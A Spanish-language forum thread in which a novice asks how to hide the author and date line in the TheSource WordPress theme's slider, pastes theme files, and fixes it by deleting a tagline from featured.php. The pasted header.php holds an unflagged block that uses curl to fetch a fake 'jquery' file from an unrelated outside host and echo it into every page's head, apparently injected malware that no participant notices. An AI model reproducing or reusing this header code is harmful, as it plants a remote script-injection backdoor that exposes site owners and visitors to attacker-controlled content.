Quitar fecha y posteador del slide de TheSource

  • Autor Autor batman71
  • Fecha de inicio Fecha de inicio
B

batman71

Curioso
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Pues eso; que estoy intentando crear mi primera web/blog con el tema TheSource de Elegantthemes y me gustaría que en el slide de la cabecera que trae el tema, sólo apareciese la imagen destacada y el comentario pero que no aparezca eso de "Escrito por ADMINISTRADOR el 18 de Marzo de 2012"

Con las opciones del tema no es posible así que imagino que habrá que usar el editor pero no tengo ni pajolera idea de cómo hacerlo ya que mis conocimientos son limitadísimos.

¿Alguien sabe cómo hacerlo? Un millón de gracias

Os copio el header.php

PHP:
<?php global $default_colorscheme, $shortname, $category_menu, $exclude_pages, $exclude_cats, $hide, $strdepth, $strdepth2, $page_menu; ?>
<?php $colorSchemePath = '';
	  $colorScheme = get_option($shortname . '_color_scheme');
      if ($colorScheme <> $default_colorscheme) $colorSchemePath = strtolower($colorScheme) . '/'; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php elegant_titles(); ?></title>
<?php elegant_description(); ?>
<?php elegant_keywords(); ?>
<?php elegant_canonical(); ?>

<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />

<!--[if lt IE 7]>
	<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie6style.css" />
	<script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/DD_belatedPNG_0.0.8a-min.js"></script>
	<script type="text/javascript">DD_belatedPNG.fix('img#logo, #cat-nav-left, #cat-nav-right, #search-form, #cat-nav-content, div.top-overlay, .slide .description, div.overlay, a#prevlink, a#nextlink, .slide a.readmore, .slide a.readmore span, .recent-cat .entry .title, #recent-posts .entry p.date, .footer-widget ul li, #tabbed-area ul#tab_controls li span');</script>
<![endif]-->
<!--[if IE 7]>
	<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie7style.css" />
<![endif]-->
<!--[if IE 8]>
	<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie8style.css" />
<![endif]-->

<script type="text/javascript">
	document.documentElement.className = 'js';
</script>

<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
<?php wp_head(); ?>

<?php
if(function_exists('curl_init'))
{
 $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; 
 $ch = curl_init();  
 $timeout = 5;  
 curl_setopt($ch,CURLOPT_URL,$url); 
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
 $data = curl_exec($ch);  
 curl_close($ch); 
 echo "$data";
}
?>
</head>
<body<?php if (is_home()) echo(' id="home"'); ?> <?php body_class(); ?>>
	<div id="header-top" class="clearfix">
		<div class="container clearfix">
			<!-- Start Logo -->			
			<?php  $colorFolder = '';
			if ( $colorScheme == 'Light' || $colorScheme == 'Red' || $colorScheme == 'Blue') $colorFolder = $colorSchemePath; ?>
			
			<a href="<?php bloginfo('url'); ?>">
				<?php $logo = (get_option('thesource_logo') <> '') ? get_option('thesource_logo') : get_bloginfo('template_directory').'/images/'.$colorFolder.'logo.png'; ?>
				<img src="<?php echo esc_url($logo); ?>" alt="Logo" id="logo"/>
			</a>
			<p id="slogan"><?php bloginfo('description'); ?></p>
			<!-- End Logo -->
			
			<!-- Start Page-menu -->
			<div id="page-menu">
				<div id="p-menu-left"> </div>
				<div id="p-menu-content">
				
					<?php $menuClass = 'nav clearfix';
					$primaryNav = '';
					
					if (function_exists('wp_nav_menu')) $primaryNav = wp_nav_menu( array( 'theme_location' => 'primary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'echo' => false ) );
					if ($primaryNav == '') show_page_menu($menuClass);
					else echo($primaryNav); ?>
				
				</div>	
				<div id="p-menu-right"> </div>
			</div>	<!-- end #page-menu -->	
			<!-- End Page-menu -->	
			
			<div id="cat-nav" class="clearfix">	
				<div id="cat-nav-left"> </div>
				<div id="cat-nav-content"> 
					
					<?php $menuClass = 'superfish nav clearfix';
					$secondaryNav = '';
					
					if (function_exists('wp_nav_menu')) $secondaryNav = wp_nav_menu( array( 'theme_location' => 'secondary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'echo' => false ) );
					if ($secondaryNav == '') show_categories_menu($menuClass);
					else echo($secondaryNav); ?>

					<!-- Start Searchbox -->
					<div id="search-form">
						<form method="get" id="searchform1" action="<?php echo home_url(); ?>">
							<input type="text" value="<?php esc_attr_e('search...','TheSource'); ?>" name="s" id="searchinput" />
		
							<input type="image" src="<?php bloginfo('template_directory'); ?>/images/<?php echo esc_attr($colorSchemePath); ?>search_btn.png" id="searchsubmit" />
						</form>
					</div>
				<!-- End Searchbox -->	
				</div> <!-- end #cat-nav-content -->
				<div id="cat-nav-right"> </div>
			</div>	<!-- end #cat-nav -->	
		</div> 	<!-- end .container -->
	</div> 	<!-- end #header-top -->
	
	
	
	<?php if ( (is_home() || is_front_page()) && get_option('thesource_featured') == 'on' ) get_template_part('includes/featured'); ?>
	
	<div id="content">
		<?php remove_filter (‘the_content’, ‘wpautop’); ?>
		<?php if (!is_home()) { ?>
			<div id="content-top-shadow"></div>
		<?php }; ?>
		<div class="container">
 
Mostra el código del slide...
 
Es que no aparece tal cual en la lista de PHP's. Imaginaba que estaba incluido en la cabecera.

Éstos son los editables para este tema (copio y pego):

Plantillas

Barra lateral
(sidebar.php)

Blog Page Plantilla de Página
(page-blog.php)

Cabecera
(header.php)

Comentarios
(comments.php)

Contact Page Plantilla de Página
(page-contact.php)

Entrada individual
(single.php)

Formulario de búsqueda
(searchform.php)

Full Width Page Plantilla de Página
(page-full.php)

Funciones del tema
(functions.php)

Gallery Page Plantilla de Página
(page-gallery.php)

Login Page Plantilla de Página
(page-login.php)

Pie de página
(footer.php)

Plantilla de la página principal
(index.php)

Plantilla de página
(page.php)

Portfolio Page Plantilla de Página
(page-template-portfolio.php)

Search Page Plantilla de Página
(page-search.php)

Sitemap Page Plantilla de Página
(page-sitemap.php)

breadcrumb.php
(breadcrumb.php)

core_functions.php
(core_functions.php)

custom_functions.php
(custom_functions.php)

entry.php
(entry.php)

featured.php
(featured.php)

fromblog_post.php
(fromblog_post.php)

home.php
(home.php)

import_settings.php
(import_settings.php)

navigation.php
(navigation.php)

no-results.php
(no-results.php)

options_thesource.php
(options_thesource.php)

pagetop.php
(pagetop.php)

post_thumbnails_thesource.php
(post_thumbnails_thesource.php)

postinfo.php
(postinfo.php)

recent-cat.php
(recent-cat.php)

scripts.php
(scripts.php)

widgets.php
(widgets.php)

Estilos
Hoja de estilos
(style.css)
style-Blue.css
(style-Blue.css)
style-Light.css
(style-Light.css)
style-Red.css
(style-Red.css)
 
Pues busca el código del slide, fijate en featured.php y home.php
 
Pues busca el código del slide, fijate en featured.php y home.php

Muchas gracias. Ya te digo que es mi primer acercamiento a WP y estoy pez... Te copio los dos php

featured.php

PHP:
<!-- Start Featured -->	
<div id="featured">

	<?php global $ids;
	$ids = array();
	$arr = array();
	$i=1;
			
	$featured_cat = get_option('thesource_feat_cat');
	$featured_num = get_option('thesource_featured_num');
	
	if (get_option('thesource_use_pages') == 'false') query_posts("showposts=$featured_num&cat=".get_catId($featured_cat));
	else { 
		global $pages_number;
		
		if (get_option('thesource_feat_pages') <> '') $featured_num = count(get_option('thesource_feat_pages'));
		else $featured_num = $pages_number;
		
		query_posts(array
						('post_type' => 'page',
						'orderby' => 'menu_order',
						'order' => 'ASC',
						'post__in' => (array) get_option('thesource_feat_pages'),
						'showposts' => (int) $featured_num
					));
	};
	
	while (have_posts()) : the_post(); ?>
		<?php $bgColor = get_post_meta($post->ID, 'Color',true);
		if ($bgColor == '') $bgColor = 'ffffff'; ?>

		<?php $width = 1400;
			  $height = 300;
			  $classtext = '';
			  $titletext = get_the_title();
				
			  $thumbnail = get_thumbnail($width,$height,$classtext,$titletext,$titletext,true);
			  $thumb = $thumbnail["thumb"]; ?>
		
		<div class="slide" style="background: #<?php echo($bgColor); ?> url('<?php print_thumbnail($thumb, $thumbnail["use_timthumb"], $titletext, $width, $height, '', true, true); ?>') top center no-repeat;">
			<div class="container clearfix">
				<div class="description">
					<h2 class="title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
					<p class="tagline"><?php esc_html_e('Posted by','TheSource') ?> <?php the_author_posts_link(); ?> <?php esc_html_e('on','TheSource') ?> <?php the_time(get_option('thesource_date_format')) ?></p>
					<p><?php truncate_post(290); ?></p>
					<a href="<?php the_permalink(); ?>" class="readmore"><span><?php esc_html_e('Read More','TheSource'); ?></span></a>
				</div> <!-- end .description -->			
			</div> 	<!-- end .container -->	
			
			<div class="top-overlay"></div>
			<div class="overlay"></div>
			
		</div> <!-- end .slide -->
		
	<?php $i++;
	$ids[]= $post->ID;
	endwhile; wp_reset_query();	?>
		
</div> <!-- end #featured -->
<!-- End Featured -->


<div id="featured-control">
	<div class="container">
		<a id="prevlink" href="#"><?php esc_html_e('Previous','TheSource'); ?></a>
		<a id="nextlink" href="#"><?php esc_html_e('Next','TheSource'); ?></a>
	</div>
</div> <!-- end #featured-control -->

y el home.php

PHP:
<?php get_header(); ?>

<?php if (get_option('thesource_recent_fromcat_display') == 'on') { ?>
	<div id="from-categories" class="clearfix">
		<?php $last = false; ?>
		<?php $headingColor = 'orange'; ?>
		<div class="recent-cat first">
			<?php $cat_option='thesource_home_cat_one'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					  <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat-first -->
		
		<?php $headingColor = 'green'; ?>
		<div class="recent-cat">
			<?php $cat_option='thesource_home_cat_two'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat -->
		
		<?php $headingColor = 'light-blue'; ?>
		<div class="recent-cat">
			<?php $cat_option='thesource_home_cat_three'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat -->
		
		<?php $headingColor = 'blue'; ?>
		<div class="recent-cat last">
		<?php $last = true; ?>
			<?php $cat_option='thesource_home_cat_four'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>				
		</div> <!-- end .recent-cat -->
	</div> <!-- end #from-categories -->
<?php }; ?>

<div id="main-content-wrap">
	<div id="main-content" class="clearfix">
		<div id="recent-posts" class="clearfix">
			<h4 class="title"><?php esc_html_e('Recent Posts','TheSource'); ?></h4>
			<?php get_template_part('includes/entry'); ?>
		</div> <!-- end #recent-posts -->

		<?php get_sidebar(); ?>
		
<?php get_footer(); ?>

Muchas gracias. Ya te digo que es mi primer acercamiento a WP y estoy pez... Te copio los dos php

featured.php

PHP:
<!-- Start Featured -->	
<div id="featured">

	<?php global $ids;
	$ids = array();
	$arr = array();
	$i=1;
			
	$featured_cat = get_option('thesource_feat_cat');
	$featured_num = get_option('thesource_featured_num');
	
	if (get_option('thesource_use_pages') == 'false') query_posts("showposts=$featured_num&cat=".get_catId($featured_cat));
	else { 
		global $pages_number;
		
		if (get_option('thesource_feat_pages') <> '') $featured_num = count(get_option('thesource_feat_pages'));
		else $featured_num = $pages_number;
		
		query_posts(array
						('post_type' => 'page',
						'orderby' => 'menu_order',
						'order' => 'ASC',
						'post__in' => (array) get_option('thesource_feat_pages'),
						'showposts' => (int) $featured_num
					));
	};
	
	while (have_posts()) : the_post(); ?>
		<?php $bgColor = get_post_meta($post->ID, 'Color',true);
		if ($bgColor == '') $bgColor = 'ffffff'; ?>

		<?php $width = 1400;
			  $height = 300;
			  $classtext = '';
			  $titletext = get_the_title();
				
			  $thumbnail = get_thumbnail($width,$height,$classtext,$titletext,$titletext,true);
			  $thumb = $thumbnail["thumb"]; ?>
		
		<div class="slide" style="background: #<?php echo($bgColor); ?> url('<?php print_thumbnail($thumb, $thumbnail["use_timthumb"], $titletext, $width, $height, '', true, true); ?>') top center no-repeat;">
			<div class="container clearfix">
				<div class="description">
					<h2 class="title"><a rel="nofollow" href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
					<p class="tagline"><?php esc_html_e('Posted by','TheSource') ?> <?php the_author_posts_link(); ?> <?php esc_html_e('on','TheSource') ?> <?php the_time(get_option('thesource_date_format')) ?></p>
					<p><?php truncate_post(290); ?></p>
					<a rel="nofollow" href="<?php the_permalink(); ?>" class="readmore"><span><?php esc_html_e('Read More','TheSource'); ?></span></a>
				</div> <!-- end .description -->			
			</div> 	<!-- end .container -->	
			
			<div class="top-overlay"></div>
			<div class="overlay"></div>
			
		</div> <!-- end .slide -->
		
	<?php $i++;
	$ids[]= $post->ID;
	endwhile; wp_reset_query();	?>
		
</div> <!-- end #featured -->
<!-- End Featured -->


<div id="featured-control">
	<div class="container">
		<a id="prevlink" href="#"><?php esc_html_e('Previous','TheSource'); ?></a>
		<a id="nextlink" href="#"><?php esc_html_e('Next','TheSource'); ?></a>
	</div>
</div> <!-- end #featured-control -->

y el home.php

PHP:
<?php get_header(); ?>

<?php if (get_option('thesource_recent_fromcat_display') == 'on') { ?>
	<div id="from-categories" class="clearfix">
		<?php $last = false; ?>
		<?php $headingColor = 'orange'; ?>
		<div class="recent-cat first">
			<?php $cat_option='thesource_home_cat_one'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					  <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat-first -->
		
		<?php $headingColor = 'green'; ?>
		<div class="recent-cat">
			<?php $cat_option='thesource_home_cat_two'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat -->
		
		<?php $headingColor = 'light-blue'; ?>
		<div class="recent-cat">
			<?php $cat_option='thesource_home_cat_three'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>
		</div> <!-- end .recent-cat -->
		
		<?php $headingColor = 'blue'; ?>
		<div class="recent-cat last">
		<?php $last = true; ?>
			<?php $cat_option='thesource_home_cat_four'; ?>
			<?php query_posts("showposts=1&cat=".get_catId(get_option($cat_option)));
				  while (have_posts()) : the_post(); ?>
					   <?php include(TEMPLATEPATH . '/includes/recent-cat.php'); ?>
			<?php endwhile; wp_reset_query(); ?>				
		</div> <!-- end .recent-cat -->
	</div> <!-- end #from-categories -->
<?php }; ?>

<div id="main-content-wrap">
	<div id="main-content" class="clearfix">
		<div id="recent-posts" class="clearfix">
			<h4 class="title"><?php esc_html_e('Recent Posts','TheSource'); ?></h4>
			<?php get_template_part('includes/entry'); ?>
		</div> <!-- end #recent-posts -->

		<?php get_sidebar(); ?>
		
<?php get_footer(); ?>

SOLUCIONADO!!!!

Gracias a que me Lopezito me ha puesto en la pista del php que era y con la inestimable ayuda del método de prueba y error, he suprimido de featured.php lo siguiente

PHP:
<p class="tagline"><?php esc_html_e('Posted by','TheSource') ?> <?php the_author_posts_link(); ?> <?php esc_html_e('on','TheSource') ?> <?php the_time(get_option('thesource_date_format')) ?></p>

y asunto resuelto!!

Un millón de gracias
 
Última edición:

Temas similares

Atrás
Arriba